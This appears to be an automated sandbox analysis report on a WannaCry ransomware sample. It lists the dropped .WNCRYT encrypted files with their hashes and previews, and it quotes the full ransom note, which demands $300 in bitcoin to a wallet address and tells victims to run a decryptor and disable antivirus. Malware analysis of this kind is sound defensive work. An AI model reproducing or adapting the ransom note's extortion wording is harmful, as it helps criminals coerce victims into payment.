                                      SHA-512:605169C55160626954AE7707C2798EA1EF840B17EA7D3E49EA392AE0771A149981C0E2B9240EC5C776ADB1E72A3EC60CC6BF0540AD771A8BA58A61AB7C96393D
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!..... .G`>..B....ql....b<..sy...&..a....K....wZ.ch.nVb.....4.:T.=..\..4.\.D .^.5.s..M...+....y.sf............].'.Sp./(.bK"J.H,...ui..T.<.......i.... ..V......!P.V..q..6i..g.e.%..,^l.V.#..-....c..|o,9..cw.p.:. ..?.b^.......Mm.B....s>.....!....7..:.}V....Th.......p.Mf1...Gd..CL..q#..- .9.C.}..S.G=.Ip.\q.'.wK..~Ls...C...#..c...l...S.#.L..l.f.$m..J\.......a........`q=LYk.f.r}yv.2F.N.......R..R.......@~po.HI......P..=....>......YR.f.7.l.......+w .......I....|...!.....B..*.N..f..D.+..e..b..[.......)..K7..^XIK....@3._by...WNs.....f1]R.#...E...}.........S..)p..~.........]..l/..Y...+...:..[.*.n.9q...i.MX=.}..+.".....1.m..N...._.....$.V5..3+....e..~.X..i.....x=.)IE.....v`y..Ei...>.....-^...G...K..$.Iv.s.P.4.e...m..:.y.m...&FaJ....l.....a.i........4...z......lrD=.tG..l..jr...*b^..1....-..L...1....Nc.....%.C......q.3... B..&. ..y.y....&.....T.0...Ee.?..?.p..fhc.....Y7@....xha..Z.U$.ME....;+.{......g.QnX..p.4[_z.GSZ..4j5...B]4R.h....x....i.

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\ZxcvbnData\1\male_names.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):6952
                                      Entropy (8bit):7.974757773435878
                                      Encrypted:false
                                      SSDEEP:96:oiWr1TzAcI2g4XAXGFI5HzhZV5X10q/COQjtoAWaljCKxjIhOW0BVQfcTjuyB+bG:6lAgy5tdGqqEAVshpseMj3+bE/
                                      MD5:92AA5FFEDCA2DA4AE6E2E005DEE66ACE
                                      SHA1:719B32DEFD57FEE875FC8DBE221987F4E8DB22C0
                                      SHA-256:72E6782BF2FFD655870A08206B7406F92FB31DC9C42B249853664E13A7B8F846
                                      SHA-512:621EAD98AD09EB5A2BFC914F898B70B8B9DA89A60EB013E643160D05DF79BFE718A47E9F1ABAC318EB147C2E11F49E0DB83136BC5704D7CDFC2487AFE9B5F517
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....L8F?...@E...}...3J..!p...N.Nq=...%.Bx..Hfc9_...5.`.ey.;X..G..O..._.5h..m.`...O........oI.}.h..;Q...W.`G..)Rq....S8.UC.?+..S...+.Zq..e8.~~4+y.{g.....T ..}..KM....o=0.#i....Mj._..f.]rX....MB.!g({(Q.3(.z.GD....q...n. I.:..;..+w.B..(Kz.,]....`............;......x..z.mCN4.A.}..Z@\...]_...W.R.Q.8..!.....4sq..F.;4.(.be.d!$7 =.#........H]g.....0..u.<.^H...O;..73..Y..v..U}.o{.f..;....P.r.F7y.... ....]M......vP..........}%t.2$O....P...H...^.vm...Z?.|.$...F..6$.... .$3Z..y...<6k9Be....5.............R._..=.,<Y..5_.X.r;....E2vb;]...A)a.....Q...w..wy.`..,....].~p..f..w...8..3.[~E.{+..$...;.FH...+2.KDo5.F..9...aA.P*.k57K|c..N.-.....: .c.....r"..3.0..U.......c.....J..3..=.T..._'2..%..^A......Z..O9..s..).....>...i!.Z..........9.K..~*.aI...@9;...r..q......3..Q...m..G............p%.H...Y)/.3.k.ig..[.)r.L(..y..=<.i.Sq...".>._..s.A..Q.$U`...Zt@e..$..3I..Boyh.s.w..qV.|.zFR-F.Z.h..pl........d.._..n[_'v."....K..]d.w..\......

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\ZxcvbnData\1\passwords.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):242232
                                      Entropy (8bit):7.999215282942736
                                      Encrypted:true
                                      SSDEEP:6144:ZObv4co+M9huI7TINhYtP+onxN1hUs3u0nXwMVO:Uu57GYoKxNX+eXNY
                                      MD5:606F83524938E7CD29CEC2112FD06CA4
                                      SHA1:9EB763BB6D5EC4B62FB1F7FA75CC009371F9B3C7
                                      SHA-256:573234A304C941B9B4A6109D1015003F6C9788588E8089AD2A4286BC757FFD6E
                                      SHA-512:A16020365EEE0D58666ED62159AF78A4B56AEE6CA25E660FB7EA71FA8DA0A41C6798E8E25AB740B505444F37776C4C82497BA2FF61469128D4EC4CE2910674B7
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....Q9[..]\.y7....;c.hv.n.,...F{....../.aU.."..".C..jZ.Mu.%..0...#..yM ...>A.............Gv..]7.`.........7..\yP...5..n.d^......g..)."P9.x..6^...MH#...F<...!n..... 7..z.....u...../..}....(./.y^..(.a..V..'.Bn..st.c.`...9G.f:y...'m...z.0..q.]......B............f..<_..R..M...i?..^-Q\..e{k.....^.....)..c..^Z.@.L....5.q.....U..1`.I.h.@..m......JW\.RL.....Z-.V3.u^C.........N......M....d...X6}f.G...'b.I.>6.f....9~...@..s.w'g..e..+f...%./.I...;kz.>.L.5l.......~.^.`.h.(4.$*m......*.k...E.....&...u$.A...G......G.P_.....O.Vg..%..e;.z.ec4....&.......%L.:4....e.^(.'.Y...g....1...2Z..}.rl.fh..r..r..t..f..f.T..\.e......f.qiu..oE..U.. #4.^..G@..~.[%y.....F,.U.Qu\3...............8L.,nRb.1d.F...x$O......cr:..?....4.Lb%/....../<..u..0`w.S.....N..U...`;`.A6.R.E.....0F..j.V...B.\...+..N....>..C....)......`...E.c..N.M....+..}..cn.(uAL.B..G.J....h.G.y.\]....d....O.._..^..j.t.M.y.....g.(...Bz....k|.}.s...8..nE.C.E,.....C..Q.K..,Z......Mu...:...T@...HG

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\ZxcvbnData\1\surnames.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):76360
                                      Entropy (8bit):7.997549971782958
                                      Encrypted:true
                                      SSDEEP:1536:1n1rCXNtbyPsn5grG5lKVlC/A4f2UwZdTGB6l:30tb9nLDo4f5wXTG2
                                      MD5:A58CC1F94510D020086B89563C97D5C7
                                      SHA1:EEC9CD5DAB3F246AF4ABF4BDDE635A0808491C6D
                                      SHA-256:C61C729D947538D574C66F1940C0DDBD32F42A7FFD9E9C351B779E13D297C442
                                      SHA-512:B16C666F4D01F866F676B57BED61F1524817A32E42C1E5E8BA79A4876A16FB1447F787F4FD5290F2E7B3D9AE1DA064CF83B5EBF52B127C8B74A48AEF584E4F8D
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....-..V....:``.....bt..2..p.\......J.C..m......"....%.xc9.%g.o...q.T..v... kf3."L..."..in...4[..!.Qs?q../..cs...#.......*A..L.%p`.ZMf..L....A.....$C.G...7..,)3[..y....E[`d.Y....Q.....o+h.Z...".Vt./....D...*y..FR...M..l....}...>.*.R.......{c.l.b.........-).........F.L..6.1.YS....{.21.#...U.j.E..Bb.\Y.*......,~....O..:/.w..j3h....JR.;q....XH...w..@..'.....V.."........_......g...2....*..m.......a..."GX.L..B2.E.......t...Bs...:.*.q.......hd|Q...|X....%.N...#.=.y...*...B ..~...%..H.NKT..9z..`.[.W..n...&....8../...;.L<m..i.D....]..cj&....xi.@Q.^.i.k..h..#......up.....w]h7...3...7"...0"|....:.h......H_.E.....7M.!...AU.......K...M.+.~p.DA..."gk...3<.o0'zj....m4x.....h_..;...JU9.W.i1......7hT....;7P.rgD.b..*w....m....M1>fy..:.a...S....]e.Z.a.M..D....A.l{J.Z-.y.-......[..?..h.d...._k.W.=Q.m...e.?k..L......'.pm..t....*z$+/GR..... .<.J|..J........u..g.(.a....E.{JDX..lT.3#{..[...Rh.wl3...2...'\!I....m.0..H.4.J....;l.z..o...0..n....x.....c..6

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\ZxcvbnData\1\us_tv_and_film.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):164584
                                      Entropy (8bit):7.9988467963764895
                                      Encrypted:true
                                      SSDEEP:3072:G5YEUKgPWLZPHaJe5r17VY2UDkOIDvKNOf8tjpaHwx/T1bGaUyOCxM:GSEUXPeHaJAr1POI7cj+I5nUAM
                                      MD5:DF427EF802C0E1F7D3BCF546D69585D1
                                      SHA1:7C86A7B0F0ECE0D04EEEE6E3BEBD600B35E7F3AF
                                      SHA-256:4A5D6DC8D4ADB1F2F27A4EC3518D5A666367090CCACBF27BF8EFE394FF21479D
                                      SHA-512:0AFFA39976714F75F5AF0AFF1DC8ECEF90B6A55982219548DC03D46982CC6CBD6C0480E9DAA9DBFE5CFAD76FC650A3F252A047C62931776F63482E42D140FA6F
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....Q...%(d..B.sH>!.s](.....t......^.@."....].q.T.).&.....Z P?.Rrui...U.N..!#K.....@q........e..j..V)..x...Y)H.._ur....^....=...=.AJ%?.D.\.R.,k.*..MS.H..ym....,-.U/'%g....L].82.4..-NaqEj...E...%.......{(...%.6.Q.a..$..._....?....1j.Z..........VL...........m.Z....}}.#[......3.KK.... IJ.T...>..rY..H..l...J.;..o.EX.l..9Dc}.j.L9.F.V.....t.LB.f%g.K..P....L.....Y..ec.....:qeb.*.....?k...ome,sm8=H?....D..QK.&f,.-U......8......h......\].3.3...+...C<....b.N.}l..J...f/B.......*.7.;...&."...?..F0l.-C,....7....K..*..L.(.y.8#.fy.....<#..Sa`..ac.(.d...%...X8..Q.(..y....7.;t..V=...T.....^.Pl.>.q.~.nE+.....;.X@:.9..z..(c.3.7V.:.H.M...YE.....M.|....!%-....7..../B}....D..f...>...I...Gz].#.AB.J. o.1......BZ:.."...w.!...:...[.}...3....3.b=.....Z.."......[@....r..\.C..Ji.F`........Dy.iJ.AL..h..X6.z..L...>.bL.. ..=..$w.cd..........1.lG../k.m........-qL".4[^...RI.|,.].r;.O.;....>..7m..)Sm.7G..e...`....}..o....u.4...."..JW._.#t.q..d.m..

                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\chrome_shutdown_ms.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):296
                                      Entropy (8bit):7.175917313376978
                                      Encrypted:false
                                      SSDEEP:6:bkElaClfDFRW5uMONhgd+gE/fFzDV0oV4vHqS8UCkyhrSC:bkElfdDF45MsfEXFXV0TfqNUBcrSC
                                      MD5:E4BBB4BC8F73C980E79B026F7A469BDB
                                      SHA1:259B755FBCC71A2F695ABE016691080DC213C333
                                      SHA-256:679D549757CC2E7770F0937E5D960570F874AD1D1164C4AC997434D7C2437473
                                      SHA-512:8F70319DD76A4C1B914C5C5D1D96F831EAD3C493027E901CF553025342E0442418DE376E2ADCB88B20A384351AFFAF69709C7EA1333F9CD191F4E8148DE5777A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....;.1....".Pu...h....m..*6..@..d.bO.&8b..q................'_..2............*@.yi#.Y...,...J........$..9?...TzL.w..`v..Z.f.^.....T.m.{a+lw.8.....e.E#.h.F36`..V......:e%.P.4..#...\..Xm ...!..D@>...F5...{.......Z.</.?....%.K..p.q..,.A7p2.m.F...n..j...............tHn.:..4.+..~Cb

                                      C:\Users\user\AppData\Local\IconCache.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):19304
                                      Entropy (8bit):7.990002449506421
                                      Encrypted:true
                                      SSDEEP:384:IZpSItmcjPrnAN9IfuGBiYldjxE9aIR3fZYGcPmUrJQ7VoRDQI:IHFB/AN9euGBFxE9aIcsvoRkI
                                      MD5:5A4B48B852F603C04120E15041321B45
                                      SHA1:754DC92C958B55DCDCA874B1C4206B45621FF7D6
                                      SHA-256:2C0A40E19F152A977CA4ED10C88EE80FEBE0DDA524B326A2ECCCAABC0BC9D20E
                                      SHA-512:019D18D021D1A590FE722186B7F19ABA71CA54A54E7D9A0921B99946157806660E7ED69E5CAAA08331CECC7E962FC303ABF1E5F580B6BC6618A643D540257430
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....p:|{......O..:........(...F.L...4H.. .T....|.Z.c..'6.!M..(.)5k..!H...5.^.|d.:}..`)0...*.+..{..s.k...f+...<....1...IFy"...!O.>S].....Q...Kn.s...x.a|<bt.Z...l........Q./Y2..N(..;*u.....G#E......4.}!..C2.....>.S.@a..]......u....)....,G.7..]g^.j....LJ......;.3...v.Ux..yJ'.-..M.n.........-..._..<dyg.z(.L.*....?.QQ...#....>[.Q;.7..R.Ek...b.-.>I...}3N.X......v3.;.;.}...{.....q|....k.|...}.`Y>{(.#33z..u.F.&..1.^.v.4..i....'.on..MEg.......B.y:.\.x.T..Y#.=j^[.d....}.T.j.....>..{m.@q....\y.f...Q.<..B..W.R?.U^.R.GF"X..q.}J...z...<8.w.=.1.$.....8.P......).[T.A..u.Q.}`...M..0.aL..w......Ln.8...p. ..O.ed.e..fr......Z.Y!.....#...*q...b.....f..$.n.A....n\..=!..cj.;....^....T....fk..J.gq.R..........WQ..YB..L....Rw.'.2fC.\. ..p..}...:5o...].....:a.Z.....n...{..Wg.T.W.....~..m.3$Qi.S......8.)U.....v..=...^.~`..c..v.&.[...1>...u1.3......e`>.x......IR...R..8(..BAP{....I`Q....Jl..NTY...-.S....%...{..P^12.}.L..w01U:H.m.o`...R>....]....r}....E5..Q

                                      C:\Users\user\AppData\Local\Intel\CUIPromotions\Images\000000_INTEL.ODYSSEY_ADDITIONAL_GAMEPLAY_ASSET_CUI.2.3-600x300.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):229640
                                      Entropy (8bit):7.9991871064626725
                                      Encrypted:true
                                      SSDEEP:6144:jKo2I09jRbMizB6mxyx3/qlr9q5egCYsqU:jLv0dyizMmxG3CCPsqU
                                      MD5:2D8C7125659089EBDC9827A89334AC9D
                                      SHA1:78BFF809222D62A7A1BCD10AED19C7C8A2AA6CFB
                                      SHA-256:0A0E74930DB168996F74B69E9F70646BECC868C9CF4EEF58809D7F5F9CD915F1
                                      SHA-512:343A390A2F2675C733400CBA9C6A0E49DA314496E4FB7127AEBC68BF958D5B9BEB285667D6180B0B9A6D3ABF03686E5C79C0AC8E5143A6E2FCE6618EF629AA6E
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!............p....w.P..N..O......i.]........5...}t..W........k.....C;B....+....eZa.'n{...j.....D.W..K......Q?..gZ%|=x...1.....z.s....'..P.+v....I)p..7..n"...{]{..Sp.6\..tO......h.q>C.>T.....9N?'tGTz...\w...s..v.=/.(i.c......A.}.d.~....5..A$................t....]")..$..T.J.P.....5..a.K.>..[...(...."..h.*......IZ.Wl...9........U...k,.W...s(.x?.q>z.1.._.T......w..!4a.q.Q.Vq.d....+(.x.L[..*..5.+.*#h..,..9.?...E1JQ.>.}..E]h.$.H..W...bd._4&..V ...;.l....|F...X..Z....Z9..f.V."...:.X...v2.. .c.T.`..8,...g 2.%. W(.`.0...I@B...v..O....[..!:..O`.N..^.Dd..2.....A.....V.t+U.3.E...L..a...^..X.|zZ.....}`.....4V..u.....i.(n....WaAb...d..9XJ..B*....q.~s....O.../vFS.:.q.....?..oM....'3.1c..........\5..uN.}.p.'..T./(...cf..g$.U...=.f.p.......8....L..n..o..%...O.BH..=...4M.$52?$......WX/.*...<../..]...}........*.[..+......... G.N.D...y..9..IS..../.^}.Z.....7.....F.,..L._....@...ihxn...m9uD.sP~G.}T..zb../...A..}.%..3|.7...{...._B.L..'R..SM..

                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):16664
                                      Entropy (8bit):7.988650672644887
                                      Encrypted:false
                                      SSDEEP:384:TBNMfmKZxK5UmhKNFDsqM7vgsN65lhQOmBKSJy1qvF+00UEGOlo/:TLMfvx5zsqM74sN65jQOmESJ+qvMqEGx
                                      MD5:9FD86885DDD26C4A2F7FEB31EDBA1BF7
                                      SHA1:1EAC08C63EA269DB8CEB17EC89059676FAF039A2
                                      SHA-256:C4FF2AB80C44ED0DE1D96829CE95CE86368E500EBB6DF410850B37433E6525EF
                                      SHA-512:B8B97068849D61DF517B4CB04EBC93B8E3EED335297676CC9CCCC013809FEC5D49821C91379B1F6A5BD777194AA77FE6199873485FEFA2CAA72AC8E6926B3D75
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....x.Q...J5..^O[T.6......F.B.........)Z......_.}.. m5Q..C.hg.`....h.l.{...Z..'........Q..N....T...Ftc.O.......!.a.....H.OR.$..g..t.b....+w_@.N.(5..{.D.lbl."4L?J...EIz..gZ.....W.y.G.l:|.....U.z.`...+|m.3'>.~q....*..).:..l...9...;kw.^.B...t..*......@.......u....y\+..]..D.....5FF..]..TW....\........=.I..5..}q.;.Q.........q.(.<z....67OU..J...oh?`....b.!...-<.....4.j...i..m.4..+..gO..."..ll.+....S...Py.=0..........+..~iY...MZd...cB.x..%.....f....)....'1...sE".,....?z.....>r8Jp...'".p..g...Hj1.F.;..."m..~.."..".0.#.E.~W..=.A}........'..N.w.7~B.r..h$.N.S.V......\.........F..;..Fb.MG.!..r.V....L^.|.b...i......B...y/..;.......F.}............d..T.......M...n..J{.".7.S<M.....x0_5..N.6..>R....YY).....~...e...G`......c..].W7.j.....g%....#....E.W)..T..!.....qyB....cq.F..]...)....t.r.at^-#.....^......P.>..+...(.v.&=..iq/.F...S.E....X.@B..$.!?O=9..W.x...^>....3P...e,41.K....E.".....n^CU,&K.-........b*..S..6.P..G.E...M...X......F.".^48.4xL.

                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):45336
                                      Entropy (8bit):7.996424554230603
                                      Encrypted:true
                                      SSDEEP:768:Tb9EDgfytdT5YhQZfW798rQ3WsO1RnASxEX7ukndJZs9C20AiuJxsCINRJEKrtZV:/9EDgfyzT5YhafSdWsOrnASIFgCQiuot
                                      MD5:C7D76AA072F404CF2234674457304154
                                      SHA1:6AF188565E798D11EDB4EF31191778DA47D04981
                                      SHA-256:AF62461BFAB3D13BA6D81D7962362EEE7CBE2D86DB3EBCDABCEFD9F1CE8DC118
                                      SHA-512:0CC6FD344B544D338CB7D0DC7049176F787248DCED13BDD51ACD9848D134370A12A1AC0F137C5E31F725E68407AD26569FE1AD2DDD0A6A30E508E1B4233E1108
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....$D.........w.........%C"/..K.a.i.1...N...1E.l..}%.1..........B.....Kj.ozE X...2...5.w...(..A.B.wt..3Dd.A_g....{..[.5."...[]...../;..6..Tn=...Q..^#.sG#.OB.:..o...-.1g..:A....g.Q`}...fwrl>...B..p....A..}SyX.. ...qn....h..t\...a...h..^.-..m.1..Jn.............X"..1.O..{I.m...J.h9.L.#...[m'%...E.-.{L.x..Z.~c.?VG...>.=...gM..9........D.8gq.....Hk...)...b:.W... ...Y.{.].v>-s|....W....2.........J..m.+.X5!o#c..qFC...^... .q*.*2.Z..\#B.4HH....g?....o.A[.S|...a!..&..k..R..$p.9...;.9...K...h..D..h...R.(w.c...!......2...I..>.?.Q.V...L.o.....~......P........*..'.L....'..N.d..X..6V.....V...sX.A..(f.}Q..h.T''8"....6..=mL.5..........{...PP.....k...#....=...lYh.`;..0...Y..4...l.x.y.....8\.2.A...T..6.0...+.9.4..~.0..b..R.....*}b /I.z<VR...p..,.A.a...I..7Q...AV........).......W..A...}..S..F.J..(.....Z..[.....3....^.....9.|`.MsX..peZ..c............a..mE...d...r:.K.2..... r....B...Fl.s_d..F.pO^&......o...P-.V...t..w........&..~..I..m.@.)

                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\edge_shutdown_ms.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):296
                                      Entropy (8bit):7.203368992495463
                                      Encrypted:false
                                      SSDEEP:6:bkE+D55EmYzJvagSHjsZuAyK80pRmk0SCGDTjvsrvERHZK7Eyeh+W:bkE+DXEvzhagSHbn0J0NGvjvsUe0h+W
                                      MD5:D136B386B824AE3C4AE039B49683828D
                                      SHA1:66D8F9F262D18B6DDE0CF7794B959C52409CA6AF
                                      SHA-256:71F9E6637A04B4767F5F5292F3BFFA082114D0EB68391256706F7DB106D7DD2C
                                      SHA-512:D8253B52A7D0E7AB2FBEF42294C02B5037B2E79BC820A3837879259E5C684C1AFBB3DE02F66506E1363B98C1FF90210AF2BF070F6810BD5C063DF10F0D55C286
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....B.t32..w..l.c....aRK.......*RDp.!0._o.l.]...hq5.C.G*..y...F.<D}..K\...v/......#...Ew......e......fU..g..%d.../.w.Uz...2....^5W.....?.,...$.....9..D...-...{>H...Py......_. ...tC:..8........:.. . .n.Xu.a.\..Cu.....G.U@.....7....e....}..jx.l2P...T..............a..(..'.....z

                                      C:\Users\user\AppData\Local\Microsoft\Internet Explorer\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\Users\user\AppData\Local\Microsoft\Internet Explorer\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.bak.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):6776
                                      Entropy (8bit):7.971511296017463
                                      Encrypted:false
                                      SSDEEP:192:S5ODKjeM1QK8o6rHkdluYgU+yzgFqxwOW0joXwywl:SkDKSmf8o6YkU+yz+qi0jo7wl
                                      MD5:C8350BAC285D1DFD346FF22080612BD1
                                      SHA1:3EF2E7181A7D128A0133EEDCAE38932BF8EC48B4
                                      SHA-256:C8C0F49F1166A81B627EFFCA96995597B309A938296C5E4119CD1259AE8D47D2
                                      SHA-512:B92CF9D2060FDF6A1755B41BF8E7419D801AD863B7A24A4838EF9CAB4C6B479CD973175EF6D085780FB6613AFDB28B473722B9EB4C3DC810D784672C8633765A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......u7.,.0..3.'^\_?...n.FowH..='...V........ Q+..!yF.#_)............Z3.k.k(........}.l..*.3Z.+O.Y.0Jb&...%....z.r.E.9q.....U&...K...l..w.~q..6.)5....y..8.[....... ..f.i.fU..R...;...j{......o.....(.z.....&.....w..j....Y.7........(......T....*....`........f.|UU..0$._Il...5.`.D......m.....q._..6v{S..tYo..e..g.t....8......V..j............=f*r...L\.uA......\.a.....V...{..AT{h....b>.[.8d...}..v*.........j^..M.d)......~...Kw....r..?G;:.Q.P.U...D..b.e.3.....C..c.H..N..>G6.N.=.O....0b....gE.l e.\nW..9T.&|Q..Np.Z.7..1...W=`..;.-.c.4.....\..A...p.U}..6....t.......yb.e.......-.).....b.9.Hl..m|1[...?.`.;.....$.....M|R.A..km s..x.[...$.E..H..W..u.@.",.}..Y.x......./.=.yB........C.A.-.....1.D...y..0. G^eL..47......|E..........T.M!.......j...:.pVM>....^../.m..{.M+..3K_B....kA.Z.uz..'....,v?.w...b.]$Eg7..u..K..T3.\.N#.j..X.%.?.=...y.n!.!.poO.$g..*.m...*.W}...A..E.6..............u.R....y...vT...X.>.R_......z$.U.Km.N...:I...i..|..pR...#..:5..@...

                                      C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):4664
                                      Entropy (8bit):7.957995870736723
                                      Encrypted:false
                                      SSDEEP:96:oLDNT4d87rfWf/UknRqWxFDe7d+6oBmqV6/eeA0:eNU870/UecWrsd+6oIqV6/hA0
                                      MD5:81F3A80BEBEE3288F741ED9861D5409E
                                      SHA1:5A6F3CD9D5C00EA20251C67ED5D1DF3477C5F3C6
                                      SHA-256:84C3140346C513724D22D3D27C8B1B0358CAC74DF409F8C048709AD2E3AF5604
                                      SHA-512:FC0DE3DECE26875EC00EB35A414EE0E1FE528987C222A1C305F5B451764BB3C0F939DB4D94C5C72878F0428058FA4BD6865A0F6A35BEE5534449C91C05FE7937
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!..........wz.8..>..O..?.7..g.0d.1..$..@=.m.....Q...OG%.._..{..q......x....C.G/.8..'5...e.pb.B.<.eu.ZND#..........$.S.E+.c...~jP.-=Taug{5.k..g......&...>.B.F.y+............ 3.....^2g........%..W....qk.{..h=...QN._*.h.k..?..4.8....d...@N...a.eRZ..Sl.........................:....7h..Ko.2...1Z=.8..`.+D..."...s..2....b..j'..........E&....@.L....n..<..cH........i\.'...x..Q.....R&.Yj..~.S......)c..5OarN...2...~`?.E..d...........?..3.h...#(.3...,..L.G.]........q....'..hr...U..j.S..3.%....u.]eV.!....S.|..!.Hx..B#1......|9aN..Kc(9)....'.3....R.....].......OKt..:..X./.....*'..CR..i.\.kn.m..m.>.......XY.G^...v]f..6.......d......Q.[.[h..U.W..L*..M..9....@X..A.....x.=.......&&.4N&............~......6.> ...h....X...Z..a...j..%LH.......w.@_L=.....=.......x..*...s7....]".....R...j...S'RdQ%..!%....p..-ullK:......@~^J............9E+-,o..V.J.?...K...2......6...G.!.F...`k......s......R...O.ZHZ..#....I.X.R..0...."...|.)....y{Dz.by.e..5..J.>y34..c:...

                                      C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-US{BBE0BDBE-F41F-4225-8E17-87C64C39622B}\{01F5EFBC-1E5F-4558-BABC-C70A173DE2F5}mt11414620.png.WNCRYT

                                      Download File
